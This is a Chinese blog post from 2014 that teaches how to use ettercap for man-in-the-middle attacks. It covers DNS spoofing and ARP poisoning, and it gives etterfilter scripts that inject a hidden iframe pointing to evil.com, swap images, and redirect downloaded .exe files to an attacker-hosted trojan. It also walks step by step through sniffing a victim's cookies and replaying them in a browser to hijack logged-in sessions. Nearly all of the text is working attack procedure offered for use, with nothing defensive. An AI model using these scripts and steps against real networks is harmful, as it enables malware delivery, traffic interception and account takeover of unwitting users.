ettercap 使用及在渗透论文中的作用

ettercap

1,dns_spoof:

ettercap -T -q -P dns_spoof -M arp:remote /target ip/ //
使用前在dns文件(bt5r2中在/usr/local/share/ettercap中)中添加要欺骗的记录
结合metasploit或者set进行dns_spoof攻击

2,arp_spoof:

过滤脚本1:

if(ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data,"Accept-Encoding")) {
replace("Accept-Encoding","Accept-Mousecat");
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
if (search(DATA.data, "<body>") ){

#插入网马地址
replace("<body>","<body> <iframe src=\"http://evil.com/evil.html\"width=0 height=0 >");

msg("Filter Run...&&Exploit Code Injected OK!\n");
}
}

ettercap -o ieexpft ieexpft.filter 

ettercap -T -q -F ieexpft -M arp:remote /target ip/ //

同样可结合metasploit/set来实施欺骗攻击

过滤脚本2:

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
       # note: replacement string is same length as original string
     msg("zapped Accept-Encoding!n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("img src=", "img src=http://www.2cto.com/uploadfile/2012/0508/20120508011856683.jpeg" ");
   replace("IMG SRC=", "img src=http://www.2cto.com/uploadfile/2012/0508/20120508011856683.jpeg" ");
   msg("Filter Ran.n");
}

修改图片为自己的网马地址

过滤脚本3:

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
          # note: replacement string is same length as original string
     msg("zapped Accept-Encoding!n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("keep-alive", "close" ");
replace("Keep-Alive", "close" ");
 
}
 
if (ip.proto == TCP && search(DATA.data, ": application") ){
msg("found EXE");
if (search(DATA.data, "Win32")) {
msg("doing nothing");
} else {
replace("200 OK", "301 Moved Permanently
Location: http://192.168.108.1/lo.exe
");
msg("redirect success");
 
}
}

替换下载的exe文件为自己的网马

3,ettercap gtk的使用,窃取cookie

在shell下输入 ettercap -G 即可打开GTK模式

这里讲解使用它的中间人攻击

首先打开/etc/etter.conf。找到redir_command_on那一段,你会看到他已经写好了Mac OS和Linux版本的命令。Linux下面又分开了ipchains和iptables两个。根据你自己使用的OS和软件,将相应的命令uncomment掉。我使用的是Linux和iptables,所以将那两句前面的#号去掉就可以。

然后在shell 下输入  echo "1">/proc/sys/net/ipv4/ip_forward 启用IP转发功能,如果不打开这个功能待会攻击的时候会导致对方不能上网。

有时候网卡预设的MTU可能过小,导致之后不能成功转发目标与网关的IP包。所以最好将MTU改成1500以上,在命令行输入“ifconfig eth0 mtu 1500”。将eth0改成你的网卡。

打开ettercap。选择“Unifed Sniffing”,输入自己的网卡,我这里是eth0

扫描网络上的主机。选择“Scan for Hosts”,之后打开“Host list”。将网关加到target 1,目标机器加到target 2。

选择“Start Sniffing”

~此时可以打开wireshark监听网卡,这里是eth0,如果wireshark不能识别网卡,就用tcpdump监听网卡然后-w保存数据包,用wireshark打开,获取的数据包中有对方的cookie

 

~也可以选择“MITM attack” –> “Arp poison”,开始MITM攻击。

之后stop sniffering

 

用arpspoof可以实现同样的效果

arpspoof -i eth0 -t 目标IP 网关IP

之后用wireshark监听或者tcpdump监听wireshark分析都可得到cookie

利用cookie ,在firefox安装greasemonkey工具,并打开https://userscripts.org/scripts/show/119798安装cookie injector 重启浏览器,打开窃取到cookie的对应网页,ctrl+c呼出cookie injector输入窃取到的

cookie,点OK,然后刷新页面就可以看到您已经是登陆用户了。^_^

posted @ 2014-01-06 15:19  #Saxon  阅读(750)  评论(0编辑  收藏  举报